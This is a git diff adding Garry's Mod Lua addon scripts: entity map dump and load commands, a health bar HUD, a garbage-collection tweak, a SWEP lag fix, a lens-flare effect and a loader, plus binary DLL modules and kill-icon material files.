DumpFile..Name..".txt" + + DumpTAB = {} + + local i = 0 + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) and not v:IsPlayer() and table.HasValue(GoodEnts, v:GetClass()) then + + local Tab = { + egc = v:GetClass(), + mdl = v:GetModel(), + skn = v:GetSkin(), + mat = v:GetMaterial(), + col = v:GetColor(), + pos = v:GetPos(), + ang = v:GetAngles(), + } + table.insert(DumpTAB, Tab) + i = i + 1 + end + end + + file.Write(DumpFile, glon.encode(DumpTAB) ) + print("! saved: ", i, " entities as: ", DumpFile) + end + concommand.Add("hex_dump_map", TakeDump) +end + + +if (SERVER) then + function LoadDump(p,c,a) + local Name = a[1] or "Fuck" + local DumpFile = DumpFile..Name..".txt" + + if not file.Exists(DumpFile) then + error("! fuckup, DumpFile gone!") + end + + _G["DumpTAB"] = glon.decode( file.Read(DumpFile) ) + + local i = 0 + for k,v in ipairs(DumpTAB) do + local egc = v.egc + local mdl = v.mdl + local skn = v.skn + local mat = v.mat + local col = v.col + local pos = v.pos + local ang = v.ang + + local ent = ents.Create(egc) + ent:SetModel(mdl) + ent:SetSkin(skn) + ent:SetMaterial(mat) + --ent:SetColor(col) + ent:SetPos(pos) + ent:SetAngles(ang) + ent:Spawn() + + local phys = ent:GetPhysicsObject() + if phys:IsValid() then + phys:EnableMotion(false) + end + i = i + 1 + end + + DumpTAB = {} + + print("! loaded: ", i, " entities from: ", DumpFile) + end + concommand.Add("hex_load_map", LoadDump) +end + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_GarbageCollector.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_GarbageCollector.lua new file mode 100644 index 0000000..d002b3a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_GarbageCollector.lua @@ -0,0 +1,19 @@ + + +local CVAR = CreateClientConVar("garbage_step",150,true,false) +local TURN_GC_OFF = CreateClientConVar("garbage_collection",1,true,false) + + +local function GarbageThink() + if not (TURN_GC_OFF) then return end + collectgarbage("step",CVAR:GetInt()) +end +hook.Add("Think","GarbageThink",GarbageThink) + + +concommand.Add("garbage_kill", function() + hook.Remove("Think","GarbageThink") +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_Healthbar.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_Healthbar.lua new file mode 100644 index 0000000..740c619 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_Healthbar.lua @@ -0,0 +1,65 @@ + +if CLIENT then + surface.CreateFont("coolvetica", 30, 80, true, false, "HealthFont" ) + surface.CreateFont("coolvetica", 22, 50, true, false, "HealthNumberFont") + + local function HealthBar() + local trace = util.TraceLine( utilx.GetPlayerTrace(LocalPlayer(), LocalPlayer():GetCursorAimVector() ) ) + + local LookingHealth = LocalPlayer():GetNWInt("LookingHealth") + local LookingMaxHealth = LocalPlayer():GetNWInt("LookingMaxHealth") + + if (!trace.Hit) then return end + if (!trace.HitNonWorld) then return end + + local x,y = gui.MousePos() + draw.SimpleText(trace.Entity:GetClass(), "HealthFont", x+100, y + 20, Color(255,255,255,255),1,1) + + if LookingHealth != 0 && LookingMaxHealth >= LookingHealth then + surface.SetDrawColor( 255,255,255,255 ) --255,0,0,255 + surface.DrawRect( x + 20, y + 40, 150, 15 ) + surface.SetDrawColor( 0,255,0,255 ) + surface.DrawRect( x + 20, y + 40, (LookingHealth / LookingMaxHealth * 150), 15 ) + surface.SetDrawColor( 0,0,0,255 ) + surface.DrawRect( x + 16, y + 40, 4, 15 ) + surface.DrawRect( x + 170, y + 40, 5, 15 ) + surface.DrawRect( x + 16, y + 36, 159, 4 ) + surface.DrawRect( x + 16, y + 55, 159, 4 ) + surface.DrawRect( x + 15, y + 42, 1, 13 ) + surface.DrawRect( x + 175, y + 42, 1, 13 ) + surface.DrawRect( x + 14, y + 44, 1, 9 ) + surface.DrawRect( x + 176, y + 44, 1, 9 ) + draw.SimpleText(LookingHealth.. "/" .. LookingMaxHealth, "HealthNumberFont", x + 90, y + 49, Color(255,0,0,255),1,1) + + elseif LookingHealth != 0 && LookingMaxHealth <= LookingHealth then + surface.SetDrawColor( 255,255,255,255 ) --255,0,0,255 + surface.DrawRect( x + 20, y + 40, 150, 15 ) + surface.SetDrawColor( 0,255,0,255 ) + surface.DrawRect( x + 20, y + 40, 150, 15 ) + draw.SimpleText(LookingHealth.. "/" .. LookingMaxHealth, "HealthNumberFont", x + 90, y + 49, Color(255,0,0,255),1,1) + end + + end + hook.Add("HUDPaint", "HealthBar", HealthBar) +end + + +if (SERVER) then + local function HealthBarGetHealth() + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + local trace = util.TraceLine( utilx.GetPlayerTrace(v, v:GetCursorAimVector() ) ) + + if (!trace.Hit) then return end + if (!trace.HitNonWorld) then return end + + v:SetNWInt("LookingHealth", trace.Entity:Health() ) + v:SetNWInt("LookingMaxHealth", trace.Entity:GetMaxHealth() ) + end + end + end + hook.Add("Think", "HealthBarGetHealth", HealthBarGetHealth) +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_NoRunstring.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_NoRunstring.lua new file mode 100644 index 0000000..e8d5514 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_NoRunstring.lua @@ -0,0 +1,46 @@ + +--Fuck you toybox +if iface3 then return end + + +local Bad = { + "RunString", + "RunStringEx", + "CompileString", + "Compilestring", + "CompileFile", +} + + +for k,v in pairs(Bad) do + if not _G[v.."Crap"] then + _G[v.."Crap"] = _G[v] + end + + _G[v] = function() + --print("bad '"..v.."' called: ", NotDGI(2).short_src) + end +end + + +local function ResetAll() + for k,v in pairs(Bad) do + if _G[v.."Crap"] then + _G[v] = _G[v.."Crap"] + _G[v.."Crap"] = nil + end + end + + print("! fixed") +end + +if (CLIENT) then + concommand.Add("hex_toybox_reset_cl", ResetAll) +else + concommand.Add("hex_toybox_reset_sv", ResetAll) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_SWEPFix.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_SWEPFix.lua new file mode 100644 index 0000000..bc9b5ca --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_SWEPFix.lua @@ -0,0 +1,63 @@ +--[[ + SWEP Multiplayer Fix by aVoN + + This fixes the Clientside of a SWEP calling SWEP:PrimaryAttack or SWEP:SecondaryAttack multiple times until the server tells the client "Hey stop, + NextPrimaryFire is in X seconds". This bug happens especially if your ping is higher than 40ms. + + And example video is here (Recoil increases MUCH!): + VIDEO http://www.youtube.com/watch?v=IWdnU4sR9pc + COMPLETE EXPLAINATION: http://forums.facepunchstudios.com/showpost.php?p=9492119&postcount=366 + + Sadly garry does not (want to?) fix it. Well here is the fix. it's licensed under the GPLv3 so do what you want with it . +--]] +local COMPENSATION = 7; -- Ammount of compensation for Ping. I'm not suggesting to put this at any other value than 7 + +local meta = FindMetaTable("Weapon"); +if not meta then return end; + +--################### Backup of the original @aVoN +if not (meta.__SetNextPrimaryFire) then meta.__SetNextPrimaryFire = meta.SetNextPrimaryFire end; +if not (meta.__SetNextSecondaryFire) then meta.__SetNextSecondaryFire = meta.SetNextSecondaryFire end; +--################### The actual fix @aVoN +local function PrimaryAttack(self,...) + if(self.__PrimaryAttack and (self.__NextPrimaryAttack or 0) < CurTime()) then + return self:__PrimaryAttack(...) + end; +end +local function SecondaryAttack(self,...) + if(self.__SecondaryAttack and (self.__NextSecondaryAttack or 0) < CurTime()) then return self:__SecondaryAttack(...) end; +end + +--################### Overwrite SWEP:SetNextPrimaryFire to compensate lag @aVoN +function meta:SetNextPrimaryFire(delay) + self:__SetNextPrimaryFire(delay); -- Even if this does not seem have an effect, I do not want to destroy scripts which are relying on this + if(ValidEntity(self.Owner) and self.Owner:IsPlayer()) then + local time = CurTime(); + -- The Clientside fixed "NextPrimaryAttack" - First we wait until the server should have told the client when he can shoot again. Then we use GMod's internals + local delay = (delay or time) - time; -- SWEP's delay + -- If the ping is greater than the delay, we add some extra compensation + if((self.Owner:Ping() + COMPENSATION)/1000 > delay) then delay = delay + COMPENSATION/1000 end; + self.__NextPrimaryAttack = delay + time; + if(self.PrimaryAttack and not self.__PrimaryAttack) then + self.__PrimaryAttack = self.PrimaryAttack; -- Store old + self.PrimaryAttack = PrimaryAttack; -- Overwrite with fixed one + end + end +end + +--################### Overwrite SWEP:SetNextSecondaryFire to compensate lag @aVoN +function meta:SetNextSecondaryFire(delay) + self:__SetNextSecondaryFire(delay); -- Even if this does not seem have an effect, I do not want to destroy scripts which are relying on this + if(ValidEntity(self.Owner) and self.Owner:IsPlayer()) then + local time = CurTime(); + -- The Clientside fixed "NextSecondaryAttack" - First we wait until the server should have told the client when he can shoot again. Then we use GMod's internals + local delay = (delay or time) - time; -- SWEP's delay + -- If the ping is greater than the delay, we add some extra compensation + if((self.Owner:Ping() + COMPENSATION)/1000 > delay) then delay = delay + COMPENSATION/1000 end; + self.__NextSecondaryAttack = delay + time; + if(self.SecondaryAttack and not self.__SecondaryAttack) then + self.__SecondaryAttack = self.SecondaryAttack; -- Store old + self.SecondaryAttack = SecondaryAttack; -- Overwrite with fixed one + end + end +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/autorun/hexloader_autorun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/autorun/hexloader_autorun.lua new file mode 100644 index 0000000..ac17c01 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/autorun/hexloader_autorun.lua @@ -0,0 +1,19 @@ + +if iface3 then return end + + +Msg("\n") +Msg("/////////////////////////////////////\n") +Msg("// HeX's Scripts Loader //\n") +Msg("/////////////////////////////////////\n") + +include("HeX/hx_loader_backend.lua") + +Msg("/////////////////////////////////////\n") +Msg("// Loaded! //\n") +Msg("/////////////////////////////////////\n") +Msg("\n") + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/hex_loader.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/hex_loader.lua new file mode 100644 index 0000000..6930e7d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/hex_loader.lua @@ -0,0 +1,37 @@ + + +if not iface3 then + HeXInclude = include +end + +local function LoadIfExist(what) + if file.Exists("lua/"..what, true) then + HeXInclude(what) + end +end + +Msg("\n") +Msg("/////////////////////////////////////\n") +Msg("// HeX's Scripts Loader //\n") +Msg("/////////////////////////////////////\n") +Msg("// Manual Load //\n") +Msg("/////////////////////////////////////\n") + + +HeXInclude("HeX/hx_loader_backend.lua") + +LoadIfExist("autorun/client/depthhud_inline.lua") +LoadIfExist("autorun/client/saitohud_init.lua") +LoadIfExist("autorun/client/cl_proxi_autorun.lua") + +Msg("/////////////////////////////////////\n") +Msg("// Loaded! //\n") +Msg("/////////////////////////////////////\n") +Msg("\n") + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/enum/en_HeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/enum/en_HeX.lua new file mode 100644 index 0000000..1b5302c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/enum/en_HeX.lua @@ -0,0 +1,26 @@ + + +NotEC = ents.Create +function ents.Create(ent) + return NotEC( string.lower(ent) ) +end +print("[HeX] Fixing case-sensitive ents.Create..") + + +if SERVER then return end + +_G.HeXLoaded = true +if not _G.iface3 and (hook or timer or concommand or (getmetatable(_G) != nil)) then + _G.HeXGlobal_AC = true +end + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gm_sourcenet3.dll b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gm_sourcenet3.dll new file mode 100644 index 0000000..31961a6 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gm_sourcenet3.dll differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_chan.dll b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_chan.dll new file mode 100644 index 0000000..ad388ee Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_chan.dll differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_downloadfilter.dll b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_downloadfilter.dll new file mode 100644 index 0000000..0c2465a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_downloadfilter.dll differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_extras.dll b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_extras.dll new file mode 100644 index 0000000..1be8caf Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_extras.dll differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_m2c.dll b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_m2c.dll new file mode 100644 index 0000000..d1e6a73 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_m2c.dll differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_replicator.dll b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_replicator.dll new file mode 100644 index 0000000..fa68f38 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gmcl_replicator.dll differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/postprocess/lensflare.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/postprocess/lensflare.lua new file mode 100644 index 0000000..ae77be9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/postprocess/lensflare.lua @@ -0,0 +1,82 @@ +-- Lens Flare Post-Processing Effect +-- version 1.0 +-- by mahalis +-- +-- Feel free to learn from and reuse this code; if you release something that uses it, +-- please credit me as the original author. + +local pp_lensflare = CreateClientConVar("pp_lensflare", "1", false, false) +local pp_lensflare_intensity = CreateClientConVar("pp_lensflare_intensity","1.0",false,false) + +local glow = surface.GetTextureID("effects/lensflare/smoothring") +local ring = surface.GetTextureID("effects/lensflare/ring") +local circle = surface.GetTextureID("effects/lensflare/circle") + +local function mulW(x,f) + return (x - ScrW()/2) * f + ScrW()/2 +end + +local function mulH(y,f) + return (y - ScrH()/2) * f + ScrH()/2 +end + +local function CenteredSprite(x,y,sz) + surface.DrawTexturedRect(x - sz/2,y - sz/2,sz,sz) +end + +local function DrawFlare() + if !pp_lensflare:GetBool() then return end + + local sun = util.GetSunInfo() + + if !sun or sun.obstruction == 0 then return end + + local sunpos = (EyePos() + sun.direction * 4096):ToScreen() + + local dot = (sun.direction:Dot(EyeVector()) - 0.8) * 5 + + local rSz = ScrW() * 0.15 + + local aMul = math.Clamp((sun.direction:Dot(EyeVector()) - 0.4) * (1 - math.pow(1 - sun.obstruction,2)),0,1) * pp_lensflare_intensity:GetFloat() + + if aMul == 0 then return end + + surface.SetTexture(ring) + surface.SetDrawColor(255,60,140,110 * aMul) + CenteredSprite(sunpos.x,sunpos.y,rSz) + + surface.SetDrawColor(255,240,220,120 * math.pow(aMul,3)) + CenteredSprite(mulW(sunpos.x,-1),mulH(sunpos.y,-1),rSz*1.5) + + surface.SetTexture(glow) + + surface.SetDrawColor(80,90,220,140 * (1 - math.pow(1 - aMul,2))) + CenteredSprite(mulW(sunpos.x,0.55),mulH(sunpos.y,0.55),rSz*0.5) + + surface.SetDrawColor(150,200,5,110 * aMul) + CenteredSprite(mulW(sunpos.x,-0.7),mulH(sunpos.y,-0.7),rSz * 0.7) + + surface.SetDrawColor(150,90,40,140 * math.pow(aMul,2)) + CenteredSprite(mulW(sunpos.x,1.3),mulH(sunpos.y,1.3),rSz*2) + + surface.SetTexture(circle) + surface.SetDrawColor(60,90,190,80 * aMul) + CenteredSprite(mulW(sunpos.x,0.65),mulH(sunpos.y,0.65),rSz*0.8) + + surface.SetDrawColor(100,150,160,120 * aMul) + CenteredSprite(mulW(sunpos.x,-1.2),mulH(sunpos.y,-1.2),rSz*0.4) + +end + +hook.Add("RenderScreenspaceEffects","LensFlare",DrawFlare) + +local function BuildControlPanel( CPanel ) + CPanel:AddControl( "Header", { Text = "#Lens Flare", Description = "#Cinematic lens-flare effect" } ) + CPanel:AddControl( "Slider", { Label = "#Intensity", Command = "pp_lensflare_intensity", Type = "Float", Min = "0", Max = "2" } ) +end + +local function AddPostProcessMenu() + spawnmenu.AddToolMenuOption( "PostProcessing", "PPSimple", "LensFlare", "#Lens Flare", "", "", BuildControlPanel, { SwitchConVar = "pp_lensflare" } ) +end + +hook.Add( "PopulateToolMenu", "AddPostProcessMenu_LensFlare", AddPostProcessMenu ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vmt new file mode 100644 index 0000000..967829f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/combine_mine" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vtf new file mode 100644 index 0000000..8690132 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/combine_mine.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/entityflame.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/entityflame.vmt new file mode 100644 index 0000000..4f0fc01 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/entityflame.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/entityflame" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/entityflame.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/entityflame.vtf new file mode 100644 index 0000000..270d85a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/entityflame.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vmt new file mode 100644 index 0000000..9a7ab82 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/env_explosion" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vtf new file mode 100644 index 0000000..d50b8b3 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/env_explosion.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vmt new file mode 100644 index 0000000..262cacc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_antlion" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vtf new file mode 100644 index 0000000..b7b85f7 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlionguard.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlionguard.vmt new file mode 100644 index 0000000..feee546 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlionguard.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_antlionguard" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlionguard.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlionguard.vtf new file mode 100644 index 0000000..9a8a6af Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlionguard.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vmt new file mode 100644 index 0000000..b2a6077 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_barnacle" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vtf new file mode 100644 index 0000000..5fca8f8 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vmt new file mode 100644 index 0000000..f55c314 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_combinegunship" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vtf new file mode 100644 index 0000000..16a5bea Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vmt new file mode 100644 index 0000000..2065985 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_cscanner" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vtf new file mode 100644 index 0000000..0120082 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vmt new file mode 100644 index 0000000..e8a4e45 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_fastzombie" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vtf new file mode 100644 index 0000000..26c9294 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab.vmt new file mode 